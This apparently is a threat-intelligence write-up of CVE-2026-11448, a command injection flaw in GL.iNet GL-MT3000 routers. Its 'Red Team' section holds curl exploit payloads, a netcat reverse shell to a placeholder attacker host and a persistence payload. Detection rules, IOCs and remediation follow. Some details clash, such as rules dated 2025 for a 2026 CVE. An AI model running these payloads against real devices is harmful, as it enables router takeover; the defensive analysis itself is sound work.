CVE-2026-11448

Executive Summary

CVE-2026-11448 is a command injection vulnerability discovered in the MiniDLNA service component of GL.iNet GL-MT3000 routers running firmware versions up to 4.4.5. The flaw resides in the /rpc endpoint, specifically within the realpath function when processing the kube.set argument. An unauthenticated, remote attacker can exploit this weakness to inject arbitrary operating system commands, potentially leading to full device compromise. The attack is remotely exploitable without authentication, making it a significant threat to unpatched devices. The vendor has addressed the issue in firmware version 4.7 by implementing global injection protection in the SDK.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The medium severity rating reflects the ease of exploitation and the potential for remote code execution, though the impact is limited to low confidentiality and integrity loss. The lack of required privileges and user interaction makes this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the MiniDLNA service's RPC interface. The realpath function is called with user-supplied input from the kube.set argument. Due to insufficient sanitization, an attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands on the underlying operating system.

Root Cause: The realpath function does not properly validate or escape the input before passing it to a system call (likely system(), popen(), or similar). This allows an attacker to break out of the intended path resolution logic and execute arbitrary commands.

Attack Flow:

1. The attacker sends a crafted HTTP request to the MiniDLNA RPC endpoint (/rpc).
2. The request includes a kube.set parameter containing a malicious payload, e.g., ; id.
3. The realpath function processes this input and passes it to a shell command.
4. The injected command (id) is executed on the router's operating system.
5. The output is returned to the attacker, confirming command execution.

Affected Component: MiniDLNA service (likely running on port 8200 by default).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly passes user input to system()
char *path = get_rpc_argument("kube.set");
char cmd[256];
snprintf(cmd, sizeof(cmd), "realpath %s", path);
system(cmd);

Patched Code (Conceptual):

// Patched: Input is sanitized before use
char *path = get_rpc_argument("kube.set");
if (is_safe_path(path)) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "realpath %s", path);
    system(cmd);
} else {
    log_error("Malicious injection detected");
    return -1;
}

The patch in version 4.7 introduces a global protection layer in the SDK that intercepts and blocks malicious injection attempts before they reach the vulnerable function.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable GL.iNet GL-MT3000 router (firmware <= 4.4.5) on the same network.
• Network access to the MiniDLNA service (default port 8200).

Exploitation Steps:

1. Identify the target router's IP address (e.g., 192.168.1.1).
2. Send a crafted HTTP POST request to the /rpc endpoint with the malicious payload.

Example Payload:

curl -X POST http://192.168.1.1:8200/rpc \
  -H "Content-Type: application/json" \
  -d '{"method":"kube.set","params":["; id > /tmp/out.txt"]}'

3. Verify command execution by reading the output file:

curl http://192.168.1.1:8200/rpc \
  -d '{"method":"kube.get","params":["/tmp/out.txt"]}'

Advanced Payloads:

• Reverse shell: ; nc -e /bin/sh attacker_ip 4444
• Persistence: ; echo "malicious_script" > /etc/init.d/evil.sh && chmod +x /etc/init.d/evil.sh

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests to /rpc containing shell metacharacters (;, |, &, `).
• Alert on processes spawned by the MiniDLNA service that are not typical (e.g., id, nc, bash).

Honeypot Setup:

• Deploy a honeypot mimicking the GL-MT3000 MiniDLNA service to capture exploitation attempts.
• Log all requests to /rpc and analyze for injection patterns.

Mitigation:

• Immediately upgrade to firmware version 4.7 or later.
• If patching is not possible, restrict network access to the MiniDLNA service (port 8200) using firewall rules.
• Implement a Web Application Firewall (WAF) to filter malicious payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /rpc with kube.set parameter containing shell metacharacters.
• Outbound connections from the router to unusual IP addresses on common ports (4444, 1337, etc.).
• Unusual DNS queries from the router.

Host IOCs:

• Unexpected files in /tmp/ (e.g., out.txt, evil.sh).
• Processes running with elevated privileges spawned by the MiniDLNA service.
• Modified system binaries or scripts in /etc/init.d/.

Log IOCs:

• System log entries showing execution of commands like id, whoami, nc, bash.
• MiniDLNA service logs containing error messages related to realpath failures.

Detection Engineering

YARA Rule

rule CVE_2026_11448_MiniDLNA_Injection {
    meta:
        description = "Detects command injection attempts against GL.iNet MiniDLNA service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-11448"
    strings:
        $injection1 = /kube\.set.*[;&|`$]/
        $injection2 = /realpath.*[;&|`$]/
        $payload = /(id|whoami|nc|bash|sh|perl|python)/
    condition:
        any of ($injection*) and $payload
}

Sigma Rule

title: CVE-2026-11448 Command Injection in GL.iNet MiniDLNA
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts against GL.iNet MiniDLNA service
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: glinet
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/rpc'
        cs-uri-query|contains: 'kube.set'
        cs-uri-query|re: '.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in path names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-11448 GL.iNet MiniDLNA Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/rpc"; http_uri;
    content:"kube.set"; http_client_body;
    pcre:"/[;&|`$]/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2026-11448;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Firmware: Update all GL.iNet GL-MT3000 devices to firmware version 4.7 or later. This is the only complete fix.
2. Network Segmentation: Isolate affected devices on a separate VLAN with strict firewall rules.
3. Disable MiniDLNA: If the service is not required, disable it entirely to reduce the attack surface.

Long-Term Measures:

• Implement a vulnerability management program to ensure timely patching of IoT devices.
• Deploy network-based intrusion detection systems (NIDS) with the provided Suricata rules.
• Conduct regular security assessments of embedded devices.

Workarounds (if patching is delayed):

• Restrict access to port 8200 to trusted IP addresses only.
• Use a reverse proxy with input validation to filter malicious requests.

Valters IT
DevSecOps & Cyber Threat Intelligence